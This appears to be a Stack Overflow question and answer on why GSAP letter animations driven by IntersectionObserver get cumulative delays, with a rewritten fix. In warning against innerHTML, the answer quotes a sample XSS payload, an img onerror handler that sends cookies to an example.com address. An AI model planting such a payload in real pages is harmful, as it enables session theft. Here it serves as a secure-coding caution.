Search code examples
javascriptforeachgsapintersection-observer

Each new animated element with IntersectionObserver gets an unwanted delay


I am using IntersectionObserver to animate every h1 on scroll. The problem, as you can see in the snippet, is that the animation triggers every time for every h1. This means that every new animation of the intersecting h1 needs to wait for the previous ones to be finished and the result is basically a sort of incremental delay for each new entry.target. That's not what I want. I tried to remove the anim-text class before and after unobserving the entry.target, but it didn't work. I think the problem is in the forEach loop inside the //TEXT SPLITTING section, but all my efforts didn't solve the problem.

Thanks in advance for your help!

const titles = document.querySelectorAll("h1");

const titlesOptions = {
  root: null,
  threshold: 1,
  rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
  entries,
  titlesObserver
) {
  entries.forEach(entry => {
    if (!entry.isIntersecting) {
      return;
    } else {
      entry.target.classList.add("anim-text");
      // TEXT SPLITTING
      const animTexts = document.querySelectorAll(".anim-text");

      animTexts.forEach(text => {
        const strText = text.textContent;
        const splitText = strText.split("");
        text.textContent = "";

        splitText.forEach(item => {
          text.innerHTML += "<span>" + item + "</span>";
        });
      });
      // END TEXT SPLITTING

      // TITLE ANIMATION
      const charTl = gsap.timeline();

      charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
        opacity: 0,
        x: 40,
        stagger: 0.1
      });

      titlesObserver.unobserve(entry.target);
      // END TITLE ANIMATION
    }
  });
},
titlesOptions);

titles.forEach(title => {
  titlesObserver.observe(title);
});
* {
  color: white;
  padding: 0;
  margin: 0;
}
.top {
  display: flex;
  justify-content: center;
  align-items: center;
  font-size: 2rem;
  height: 100vh;
  width: 100%;
  background-color: #279AF1;
}

h1 {
  opacity: 0;
  font-size: 4rem;
}

section {
  padding: 2em;
  height: 100vh;
}

.sec-1 {
  background-color: #EA526F;
}

.sec-2 {
  background-color: #23B5D3;
}

.sec-3 {
  background-color: #F9C80E;
}

.sec-4 {
  background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
  <h1>FIRST</h1>
</section>
<section class="sec-2">
  <h1>SECOND</h1>
</section>
<section class="sec-3">
  <h1>THIRD</h1>
</section>
<section class="sec-4">
  <h1>FOURTH</h1>
</section>


Solution

  • Let's simplify a bit here, because you're showing way more code than necessary. Also, you're doing some things in a bit of an odd way, so a few tips as well.

    1. You had an if (...) { return } else ..., which doesn't need an else scoping: either the function returns, or we just keep going.
    2. Rather than checking for "not intersecting" and then returning, instead check for insersecting and then run.
    3. You're using string composition using +: stop using that and start using modern templating strings. So instead of "a" + b + "c", you use `a${b}c`. No more +, no more bugs relating to string composition.
    4. You're using .innerHTML assignment: this is incredibly dangerous, especially if someone else's script updated your heading to be literal HTML code like <img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)"> or something. Never use innerHTML, use the normal DOM functions (createElement, appendChild, etc).
    5. You were using a lot of const thing = arrow function without any need for this preservation: just make those normal functions, and benefit from hoisting (all normal functions are bound to scope before any code actually runs)
    6. When using an observer, unobserver before you run the code that needs to kick in for an observed entry, especially if you're running more than a few lines of code. It's not fool proof, but does make it far less likely your entry kicks in a second time when people quicly swipe or scroll across your element.
    7. And finally, of course, the reason your code didn't work: you were selecting all .anim-text span elements. Including headings you already processed. So when the second one scrolled into view, you'd select all span in both the first and second heading, then stagger-animate their letters. Instead, you only want to stagger the letters in the current heading, so given them an id and then query select using #headingid span instead.

    However, while 7 sounds like the fix, thanks to how modern text works you still have a potential bug here: there is no guarantee that a word looks the same as "the collection of the letters that make it up", because of ligatures. For example, if you use a font that has a ligature that turns the actual string => into the single glyph (like several programming fonts do) then your code will do rather the wrong thing.

    But that's not necessarily something to fix right now, more something to be mindful of. Your code does not universally work, but it might be good enough for your purposes.

    So with all that covered, let's rewrite your code a bit, throw away the parts that aren't really relevant to the problem, and of course most importantly, fix things:

    function revealEntry(h1) {
      const text = h1.textContent;
      h1.textContent = "";
    
      text.split(``).forEach(part => {
        const span = document.createElement('span');
        span.textContent = part;
        h1.appendChild(span);
      });
    
      // THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
      // inside _all_ headings with .anim-text, we *only* select
      // the spans in _this_ heading:
      const textSpans = `#${h1.id} span`;
    
      const to = { opacity: 1 };
      const from = { opacity: 0, x: -40, stagger: 1 };
      gsap.timeline().set(h1, to).from(textSpans, from);
    }
    
    function watchHeadings(entries, observer) {
      entries.forEach(entry => {
        if (entry.isIntersecting) {
          const h1 = entry.target;
          observer.unobserve(h1);
          revealEntry(h1);
        }
      });
    };
    
    const observer = new IntersectionObserver(watchHeadings);
    const headings = document.querySelectorAll("h1");
    headings.forEach(h1 => observer.observe(h1));
    h1 {
      opacity: 0;
      font-size: 1rem;
    }
    <script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
    <h1 id="a">FIRST</h1>
    <h1 id="b">SECOND</h1>
    <h1 id="c">THIRD</h1>
    <h1 id="d">FOURTH</h1>